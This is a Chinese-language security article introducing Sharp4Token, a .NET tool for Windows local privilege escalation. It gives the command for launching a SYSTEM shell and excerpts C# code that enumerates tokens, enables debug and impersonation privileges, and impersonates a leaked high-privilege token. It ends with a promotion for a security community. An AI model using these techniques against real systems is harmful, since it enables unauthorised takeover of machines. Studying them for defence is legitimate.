01阅读须知
此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他方面
02基本介绍
Sharp4Token 是一款专为本地提权设计的工具,通过搜寻和获取目标系统中泄漏的令牌(Token),攻击者可以将普通用户权限提升至系统级别(NT AUTHORITY\SYSTEM),从而完全掌控目标系统。
03使用方法
Sharp4Token 进行提权的典型命令如下,该命令将尝试在目标系统中获取 NT AUTHORITY\SYSTEM 级别的令牌,并使用该令牌打开一个以SYSTEM权限运行的命令行窗口。
Sharp4Token execute "NT AUTHORITY\SYSTEM" cmd true
04编码实现
列化过Sharp4Token 是一个基于 .NET 架构的工具,其核心功能是搜索目标系统进程中的所有令牌,尝试获取并利用具有更高权限的令牌,从而实现权限提升。通过这个工具,攻击者可以以SYSTEM权限执行命令或获取一个交互式的Shell。
4.1 什么是令牌
在 Windows 操作系统中,令牌是用于管理用户和进程权限的重要机制。每个进程和线程都有一个关联的访问令牌,这个令牌包含了用户的身份信息、组成员信息,以及用户可以执行的权限列表。通过访问和操作这些令牌,系统可以决定用户或进程是否有权执行特定的操作。
在某些情况下,具有高权限(如SYSTEM权限)的令牌可能会被低权限的进程意外或故意泄漏出来。攻击者可以利用这些泄漏的令牌进行提权,获取比原本权限更高的系统访问能力。
4.2 核心代码
下面是 Sharp4Token 的核心代码,展示了如何遍历目标进程中的所有令牌,并尝试提升权限。
public static void listAllToken(TextWriter consoleWriter, int processId)
{
TokenuUils.ListProcessTokens(processId, delegate(ProcessToken processToken)
{
consoleWriter.WriteLine("--------------------------------------");
foreach (PropertyInfo propertyInfo in typeof(ProcessToken).GetProperties())
{
consoleWriter.WriteLine(string.Format("FieldName: {0}\tValue: {1}", propertyInfo.Name, propertyInfo.GetGetMethod().Invoke(processToken, new object[0])));
}
consoleWriter.WriteLine("--------------------------------------");
processToken.Close();
return true;
});
}
public static void listToken(TextWriter consoleWriter, int processId)
{
foreach (ProcessToken processToken in TokenuUils.ListProcessTokens(processId, new TokenuUils.ListProcessTokensCallback(TokenuUils.ListProcessTokensDefaultCallback)))
{
consoleWriter.WriteLine("--------------------------------------");
foreach (PropertyInfo propertyInfo in typeof(ProcessToken).GetProperties())
{
consoleWriter.WriteLine(string.Format("FieldName: {0}\tValue: {1}", propertyInfo.Name, propertyInfo.GetGetMethod().Invoke(processToken, new object[0])));
}
consoleWriter.WriteLine("--------------------------------------");
processToken.Close();
}
}
在这段代码中,listAllToken 和 listToken 两个方法分别通过遍历目标进程的所有令牌,获取每个令牌的属性值,并将其输出到控制台。
接着,通过获取当前进程的访问令牌,并尝试为该令牌添加高级别的权限,如 SeDebugPrivilege、SeImpersonatePrivilege 等
IntPtr currentProcess = NativeMethod.GetCurrentProcess();
IntPtr zero = IntPtr.Zero;
if (NativeMethod.OpenProcessToken(currentProcess, NativeMethod.TOKEN_ALL_ACCESS_P, out zero))
{
TokenuUils.tryAddTokenPriv(zero, "SeIncreaseQuotaPrivilege");
TokenuUils.tryAddTokenPriv(zero, "SeDebugPrivilege");
TokenuUils.tryAddTokenPriv(zero, "SeImpersonatePrivilege");
NativeMethod.CloseHandle(zero);
}
NativeMethod.CloseHandle(currentProcess);
NativeMethod.CloseHandle(zero);
随后,当程序检测到有一个可用的高权限令牌时,它会尝试使用该令牌进行模拟,以提升当前进程的权限。具体实现如下:
if (args.Length != 0 && args[args.Length - 1].ToLower() == "bypass")
{
string[] array = new string[args.Length - 1];
Array.Copy(args, array, array.Length);
args = array;
NativeMethod.ContextToken = Program.GiveMeFullPrivToken(@out);
if (NativeMethod.ContextToken != IntPtr.Zero)
{
flag = true;
NativeMethod.ImpersonateLoggedOnUser(NativeMethod.ContextToken);
@out.WriteLine("[*] Leak of complete Priv token successful!");
}
else
{
@out.WriteLine("[!] Leak token fail!");
}
}
如果检测到有 bypass 参数,程序会尝试获取一个完整的高权限令牌(通过 Program.GiveMeFullPrivToken 方法),并通过 NativeMethod.ImpersonateLoggedOnUser 方法模拟这个令牌,从而实现权限提升。
05.NET安全星球
星球汇聚了各行业安全攻防技术大咖,并且每日分享.NET安全技术干货以及交流解答各类技术等问题,社区中发布很多高质量的.NET安全资源,可以说市面上很少见,都是干货。
20+个专题栏目涵盖了点、线、面、体等知识面,助力师傅们快速成长!其中主题包括.NET Tricks、漏洞分析、内存马、代码审计、预编译、反序列化、webshell免杀、命令执行、C#工具库等等。
我们倾力打造专刊、视频等配套学习资源,循序渐进的方式引导加深安全攻防技术提高以及岗位内推等等服务。